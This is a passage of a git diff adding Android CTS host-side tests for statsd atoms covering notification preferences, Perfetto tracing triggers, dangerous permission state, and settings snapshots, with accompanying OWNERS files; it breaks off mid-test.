+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class NotificationStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testNotificationPackagePreferenceExtraction() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PACKAGE_NOTIFICATION_PREFERENCES_FIELD_NUMBER);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.show_notification");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<AtomsProto.PackageNotificationPreferences> allPreferences = new ArrayList<>();
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            if (atom.hasPackageNotificationPreferences()) {
+                allPreferences.add(atom.getPackageNotificationPreferences());
+            }
+        }
+        assertThat(allPreferences.size()).isGreaterThan(0);
+
+        boolean foundTestPackagePreferences = false;
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        for (AtomsProto.PackageNotificationPreferences pref : allPreferences) {
+            assertThat(pref.getUid()).isGreaterThan(0);
+            assertTrue(pref.hasImportance());
+            assertTrue(pref.hasVisibility());
+            assertTrue(pref.hasUserLockedFields());
+            if (pref.getUid() == uid) {
+                assertThat(pref.getImportance()).isEqualTo(-1000);  //UNSPECIFIED_IMPORTANCE
+                assertThat(pref.getVisibility()).isEqualTo(-1000);  //UNSPECIFIED_VISIBILITY
+                foundTestPackagePreferences = true;
+            }
+        }
+        assertTrue(foundTestPackagePreferences);
+    }
+
+    public void testNotificationChannelPreferencesExtraction() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PACKAGE_NOTIFICATION_CHANNEL_PREFERENCES_FIELD_NUMBER);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.show_notification");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<AtomsProto.PackageNotificationChannelPreferences> allChannelPreferences =
+                new ArrayList<>();
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            if (atom.hasPackageNotificationChannelPreferences()) {
+                allChannelPreferences.add(atom.getPackageNotificationChannelPreferences());
+            }
+        }
+        assertThat(allChannelPreferences.size()).isGreaterThan(0);
+
+        boolean foundTestPackagePreferences = false;
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        for (AtomsProto.PackageNotificationChannelPreferences pref : allChannelPreferences) {
+            assertThat(pref.getUid()).isGreaterThan(0);
+            assertTrue(pref.hasChannelId());
+            assertTrue(pref.hasChannelName());
+            assertTrue(pref.hasDescription());
+            assertTrue(pref.hasImportance());
+            assertTrue(pref.hasUserLockedFields());
+            assertTrue(pref.hasIsDeleted());
+            if (uid == pref.getUid() && pref.getChannelId().equals("StatsdCtsChannel")) {
+                assertThat(pref.getChannelName()).isEqualTo("Statsd Cts");
+                assertThat(pref.getDescription()).isEqualTo("Statsd Cts Channel");
+                assertThat(pref.getImportance()).isEqualTo(3);  // IMPORTANCE_DEFAULT
+                foundTestPackagePreferences = true;
+            }
+        }
+        assertTrue(foundTestPackagePreferences);
+    }
+
+    public void testNotificationChannelGroupPreferencesExtraction() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PACKAGE_NOTIFICATION_CHANNEL_GROUP_PREFERENCES_FIELD_NUMBER);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.create_channel_group");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<AtomsProto.PackageNotificationChannelGroupPreferences> allGroupPreferences =
+                new ArrayList<>();
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            if (atom.hasPackageNotificationChannelGroupPreferences()) {
+                allGroupPreferences.add(atom.getPackageNotificationChannelGroupPreferences());
+            }
+        }
+        assertThat(allGroupPreferences.size()).isGreaterThan(0);
+
+        boolean foundTestPackagePreferences = false;
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        for (AtomsProto.PackageNotificationChannelGroupPreferences pref : allGroupPreferences) {
+            assertThat(pref.getUid()).isGreaterThan(0);
+            assertTrue(pref.hasGroupId());
+            assertTrue(pref.hasGroupName());
+            assertTrue(pref.hasDescription());
+            assertTrue(pref.hasIsBlocked());
+            assertTrue(pref.hasUserLockedFields());
+            if (uid == pref.getUid() && pref.getGroupId().equals("StatsdCtsGroup")) {
+                assertThat(pref.getGroupName()).isEqualTo("Statsd Cts Group");
+                assertThat(pref.getDescription()).isEqualTo("StatsdCtsGroup Description");
+                assertThat(pref.getIsBlocked()).isFalse();
+                foundTestPackagePreferences = true;
+            }
+        }
+        assertTrue(foundTestPackagePreferences);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/notification/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/notification/OWNERS
new file mode 100644
index 0000000..004287e
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/notification/OWNERS
@@ -0,0 +1,2 @@
+# These atom tests are owned by the notifications team.
+yotamaron@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/perfetto/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/perfetto/OWNERS
new file mode 100644
index 0000000..6458574
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/perfetto/OWNERS
@@ -0,0 +1,6 @@
+# These atom tests are owned by the Perfetto team.
+lalitm@google.com
+hjd@google.com
+primiano@google.com
+fmayer@google.com
+rsavitski@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/perfetto/PerfettoTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/perfetto/PerfettoTests.java
new file mode 100644
index 0000000..3a1871f
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/perfetto/PerfettoTests.java
@@ -0,0 +1,270 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.perfetto;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.Alert;
+import com.android.internal.os.StatsdConfigProto.FieldMatcher;
+import com.android.internal.os.StatsdConfigProto.PerfettoDetails;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.internal.os.StatsdConfigProto.Subscription;
+import com.android.internal.os.StatsdConfigProto.TimeUnit;
+import com.android.internal.os.StatsdConfigProto.ValueMetric;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.AppBreadcrumbReported;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.PerfettoTrigger;
+import com.android.os.AtomsProto.PerfettoUploaded;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+import com.google.protobuf.ByteString;
+
+import perfetto.protos.PerfettoConfig.DataSourceConfig;
+import perfetto.protos.PerfettoConfig.FtraceConfig;
+import perfetto.protos.PerfettoConfig.TraceConfig;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Random;
+
+public class PerfettoTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final int WAIT_AFTER_START_PERFETTO_MS = 2000;
+
+    // Config constants
+    // These were chosen to match the statsd <-> Perfetto CTS integration
+    // test.
+    private static final int APP_BREADCRUMB_REPORTED_MATCH_START_ID = 1;
+    private static final int METRIC_ID = 8;
+    private static final int ALERT_ID = 11;
+    private static final int SUBSCRIPTION_ID_PERFETTO = 42;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+    }
+
+    public void testPerfettoUploadedAtoms() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH)) return;
+        resetPerfettoGuardrails();
+
+        StatsdConfig.Builder config = getStatsdConfig();
+        ConfigUtils.addEventMetric(config, AtomsProto.Atom.PERFETTO_UPLOADED_FIELD_NUMBER);
+        ConfigUtils.uploadConfig(getDevice(), config);
+
+        startPerfettoTrace();
+        Thread.sleep(WAIT_AFTER_START_PERFETTO_MS);
+
+        // While the trace would not have finished in this time, we expect at least
+        // the trace to have been started.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(extractPerfettoUploadedEvents(data))
+                .containsAtLeast(
+                        PerfettoUploaded.Event.PERFETTO_TRACE_BEGIN,
+                        PerfettoUploaded.Event.PERFETTO_ON_CONNECT,
+                        PerfettoUploaded.Event.PERFETTO_TRACED_ENABLE_TRACING,
+                        PerfettoUploaded.Event.PERFETTO_TRACED_START_TRACING);
+    }
+
+    public void testPerfettoTriggerAtoms() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH)) return;
+
+        StatsdConfig.Builder config = ConfigUtils.createConfigBuilder("AID_SHELL");
+        ConfigUtils.addEventMetric(config, AtomsProto.Atom.PERFETTO_TRIGGER_FIELD_NUMBER);
+        ConfigUtils.uploadConfig(getDevice(), config);
+
+        runTriggerPerfetto();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).hasSize(1);
+        assertThat(extractPerfettoTriggerEvents(data))
+                .containsExactly(
+                        PerfettoTrigger.Event.PERFETTO_TRIGGER_PERFETTO_TRIGGER);
+    }
+
+    /**
+     * Returns a protobuf-encoded perfetto config that enables the kernel ftrace tracer with
+     * sched_switch for 10 seconds.
+     */
+    private ByteString getPerfettoConfig() {
+        TraceConfig.Builder builder = TraceConfig.newBuilder();
+
+        TraceConfig.BufferConfig buffer =
+                TraceConfig.BufferConfig.newBuilder().setSizeKb(128).build();
+        builder.addBuffers(buffer);
+
+        FtraceConfig ftraceConfig =
+                FtraceConfig.newBuilder().addFtraceEvents("sched/sched_switch").build();
+        DataSourceConfig dataSourceConfig =
+                DataSourceConfig.newBuilder()
+                        .setName("linux.ftrace")
+                        .setTargetBuffer(0)
+                        .setFtraceConfig(ftraceConfig)
+                        .build();
+        TraceConfig.DataSource dataSource =
+                TraceConfig.DataSource.newBuilder().setConfig(dataSourceConfig).build();
+        builder.addDataSources(dataSource);
+
+        builder.setDurationMs(3000);
+        builder.setAllowUserBuildTracing(true);
+
+        TraceConfig.IncidentReportConfig incident =
+                TraceConfig.IncidentReportConfig.newBuilder()
+                        .setDestinationPackage("foo.bar.baz")
+                        .build();
+        builder.setIncidentReportConfig(incident);
+
+        // To avoid being hit with guardrails firing in multiple test runs back
+        // to back, we set a unique session key for each config.
+        Random random = new Random();
+        StringBuilder sessionNameBuilder = new StringBuilder("statsd-cts-atom-");
+        sessionNameBuilder.append(random.nextInt() & Integer.MAX_VALUE);
+        builder.setUniqueSessionName(sessionNameBuilder.toString());
+
+        return builder.build().toByteString();
+    }
+
+    private List<PerfettoUploaded.Event> extractPerfettoUploadedEvents(
+            List<EventMetricData> input) {
+        List<PerfettoUploaded.Event> output = new ArrayList<>();
+        for (EventMetricData data : input) {
+            output.add(data.getAtom().getPerfettoUploaded().getEvent());
+        }
+        return output;
+    }
+
+    private List<PerfettoTrigger.Event> extractPerfettoTriggerEvents(
+            List<EventMetricData> input) {
+        List<PerfettoTrigger.Event> output = new ArrayList<>();
+        for (EventMetricData data : input) {
+            output.add(data.getAtom().getPerfettoTrigger().getEvent());
+        }
+        return output;
+    }
+
+    /**
+     * Resets the state of the Perfetto guardrails. This avoids that the test fails if it's run too
+     * close of for too many times and hits the upload limit.
+     */
+    private void runTriggerPerfetto() throws Exception {
+        final String cmd = "trigger_perfetto cts.test.trigger";
+        CommandResult cr = getDevice().executeShellV2Command(cmd);
+        if (cr.getStatus() != CommandStatus.SUCCESS)
+            throw new Exception(
+                    String.format(
+                            "Error while executing %s: %s %s",
+                            cmd, cr.getStdout(), cr.getStderr()));
+    }
+
+    /**
+     * Resets the state of the Perfetto guardrails. This avoids that the test fails if it's run too
+     * close of for too many times and hits the upload limit.
+     */
+    private void resetPerfettoGuardrails() throws Exception {
+        final String cmd = "perfetto --reset-guardrails";
+        CommandResult cr = getDevice().executeShellV2Command(cmd);
+        if (cr.getStatus() != CommandStatus.SUCCESS)
+            throw new Exception(
+                    String.format(
+                            "Error while executing %s: %s %s",
+                            cmd, cr.getStdout(), cr.getStderr()));
+    }
+
+    private void startPerfettoTrace() throws Exception {
+        getDevice()
+                .executeShellCommand(
+                        String.format(
+                                "cmd stats log-app-breadcrumb %d %d",
+                                1, AppBreadcrumbReported.State.START.ordinal()));
+    }
+
+    private final StatsdConfig.Builder getStatsdConfig() throws Exception {
+        return ConfigUtils.createConfigBuilder("AID_NOBODY")
+                .addSubscription(
+                        Subscription.newBuilder()
+                                .setId(SUBSCRIPTION_ID_PERFETTO)
+                                .setRuleType(Subscription.RuleType.ALERT)
+                                .setRuleId(ALERT_ID)
+                                .setPerfettoDetails(
+                                        PerfettoDetails.newBuilder()
+                                                .setTraceConfig(getPerfettoConfig())))
+                .addValueMetric(
+                        ValueMetric.newBuilder()
+                                .setId(METRIC_ID)
+                                .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
+                                .setBucket(TimeUnit.ONE_MINUTE)
+                                // Get the label field's value:
+                                .setValueField(
+                                        FieldMatcher.newBuilder()
+                                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
+                                                .addChild(
+                                                        FieldMatcher.newBuilder()
+                                                                .setField(
+                                                                        AppBreadcrumbReported
+                                                                                .LABEL_FIELD_NUMBER))))
+                .addAtomMatcher(
+                        StatsdConfigProto.AtomMatcher.newBuilder()
+                                .setId(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
+                                .setSimpleAtomMatcher(
+                                        StatsdConfigProto.SimpleAtomMatcher.newBuilder()
+                                                .setAtomId(
+                                                        Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
+                                                .addFieldValueMatcher(
+                                                        ConfigUtils.createFvm(
+                                                                        AppBreadcrumbReported
+                                                                                .STATE_FIELD_NUMBER)
+                                                                .setEqInt(
+                                                                        AppBreadcrumbReported.State
+                                                                                .START
+                                                                                .ordinal()))))
+                .addAlert(
+                        Alert.newBuilder()
+                                .setId(ALERT_ID)
+                                .setMetricId(METRIC_ID)
+                                .setNumBuckets(4)
+                                .setRefractoryPeriodSecs(0)
+                                .setTriggerIfSumGt(0))
+                .addNoReportMetric(METRIC_ID);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/DangerousPermissionStateTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/DangerousPermissionStateTests.java
new file mode 100644
index 0000000..8b1c35d
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/DangerousPermissionStateTests.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.permissionstate;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class DangerousPermissionStateTests extends DeviceTestCase implements IBuildReceiver {
+    private static final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED = 1 << 8;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testDangerousPermissionState() throws Exception {
+
+        final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED = 1 << 9;
+        final int PROTECTION_FLAG_DANGEROUS = 1;
+        final int PROTECTION_FLAG_INSTANT = 0x1000;
+
+        // Set up what to collect
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
+
+        boolean verifiedKnowPermissionState = false;
+
+        // Pull a report
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        int testAppId = getAppId(DeviceUtils.getStatsdTestAppUid(getDevice()));
+
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            AtomsProto.DangerousPermissionState permissionState = atom.getDangerousPermissionState();
+
+            assertThat(permissionState.getPermissionName()).isNotNull();
+            assertThat(permissionState.getUid()).isAtLeast(0);
+            assertThat(permissionState.getPackageName()).isNotNull();
+
+            if (getAppId(permissionState.getUid()) == testAppId) {
+
+                if (permissionState.getPermissionName().contains(
+                        "ACCESS_FINE_LOCATION")) {
+                    assertThat(permissionState.getIsGranted()).isTrue();
+                    assertThat(permissionState.getPermissionFlags() & ~(
+                            FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED
+                                    | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED))
+                            .isEqualTo(0);
+                    assertThat(permissionState.getProtectionFlags()).isEqualTo(
+                            PROTECTION_FLAG_DANGEROUS | PROTECTION_FLAG_INSTANT
+                    );
+
+                    verifiedKnowPermissionState = true;
+                }
+            }
+        }
+
+        assertThat(verifiedKnowPermissionState).isTrue();
+    }
+
+    public void testDangerousPermissionStateSampled() throws Exception {
+        // get full atom for reference
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<AtomsProto.DangerousPermissionState> fullDangerousPermissionState = new ArrayList<>();
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            fullDangerousPermissionState.add(atom.getDangerousPermissionState());
+        }
+
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice()); // Clears data.
+        List<AtomsProto.Atom> gaugeMetricDataList = null;
+
+        // retries in case sampling returns full list or empty list - which should be extremely rare
+        for (int attempt = 0; attempt < 10; attempt++) {
+            // Set up what to collect
+            ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                    AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_SAMPLED_FIELD_NUMBER);
+
+            // Pull a report
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+            gaugeMetricDataList = ReportUtils.getGaugeMetricAtoms(getDevice());
+            if (gaugeMetricDataList.size() > 0
+                    && gaugeMetricDataList.size() < fullDangerousPermissionState.size()) {
+                break;
+            }
+            ConfigUtils.removeConfig(getDevice());
+            ReportUtils.clearReports(getDevice()); // Clears data.
+        }
+        assertThat(gaugeMetricDataList.size()).isGreaterThan(0);
+        assertThat(gaugeMetricDataList.size()).isLessThan(fullDangerousPermissionState.size());
+
+        long lastUid = -1;
+        int fullIndex = 0;
+
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            AtomsProto.DangerousPermissionStateSampled permissionState =
+                    atom.getDangerousPermissionStateSampled();
+
+            AtomsProto.DangerousPermissionState referenceState
+                    = fullDangerousPermissionState.get(fullIndex);
+
+            if (referenceState.getUid() != permissionState.getUid()) {
+                // atoms are sampled on uid basis if uid is present, all related permissions must
+                // be logged.
+                assertThat(permissionState.getUid()).isNotEqualTo(lastUid);
+                continue;
+            }
+
+            lastUid = permissionState.getUid();
+
+            assertThat(permissionState.getPermissionFlags()).isEqualTo(
+                    referenceState.getPermissionFlags());
+            assertThat(permissionState.getIsGranted()).isEqualTo(referenceState.getIsGranted());
+            assertThat(permissionState.getPermissionName()).isEqualTo(
+                    referenceState.getPermissionName());
+            assertThat(permissionState.getProtectionFlags()).isEqualTo(
+                    referenceState.getProtectionFlags());
+
+            fullIndex++;
+        }
+    }
+
+    /**
+     * The app id from a uid.
+     *
+     * @param uid The uid of the app
+     *
+     * @return The app id of the app
+     *
+     * @see android.os.UserHandle#getAppId
+     */
+    private static int getAppId(int uid) {
+        return uid % 100000;
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/OWNERS
new file mode 100644
index 0000000..d87cfe4
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/OWNERS
@@ -0,0 +1,4 @@
+# Owners of the DangerousPermissionState atom
+zholnin@google.com
+cmartella@google.com
+shiwangishah@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/OWNERS
new file mode 100644
index 0000000..a6f27e1
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/OWNERS
@@ -0,0 +1,4 @@
+# Owners of the settingsstats atom
+edgarwang@google.com
+rafftsai@google.com
+tmfang@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java
new file mode 100644
index 0000000..6174400
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.settingsstats;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class SettingsStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testSettingsStatsReported() throws Exception {
+        // Base64 encoded proto com.android.service.nano.StringListParamProto,
+        // which contains five strings 'low_power_trigger_level', 'preferred_network_mode1',
+        // 'preferred_network_mode1_int', 'wfc_ims_mode','zen_mode'
+        final String encoded =
+                "Chdsb3dfcG93ZXJfdHJpZ2dlcl9sZXZlbAoQd2ZjX2ltc19tb2RlID0gMgoXcHJlZmVycmVkX25ldHdvcmtfbW9kZTEKG3ByZWZlcnJlZF9uZXR3b3JrX21vZGUxX2ludAoIemVuX21vZGU";
+        final String network_mode1 = "preferred_network_mode1";
+
+        int originalNetworkMode;
+        try {
+            originalNetworkMode = Integer.parseInt(
+                    getDevice().executeShellCommand("settings get global " + network_mode1));
+        } catch (NumberFormatException e) {
+            // The default value, zen mode is not enabled
+            originalNetworkMode = 0;
+        }
+        // Clear settings_stats device config.
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        getDevice().executeShellCommand(
+                "device_config reset untrusted_clear settings_stats");
+        // Set allow list through device config.
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        getDevice().executeShellCommand(
+                "device_config put settings_stats GlobalFeature__integer_whitelist " + encoded);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Set network_mode1 value
+        getDevice().executeShellCommand("settings put global " + network_mode1 + " 15");
+
+        // Get SettingSnapshot as a simple gauge metric.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.SETTING_SNAPSHOT_FIELD_NUMBER);
+
+        // Start test app and trigger a pull while it is running.
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "StatsdCtsForegroundActivity", "action",
+                "action.show_notification")) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+            // Trigger a pull and wait for new pull before killing the process.
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        }
+
+        // Test the size of atoms. It should contain 5 atoms.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+        assertThat(atoms.size()).isAtLeast(5);
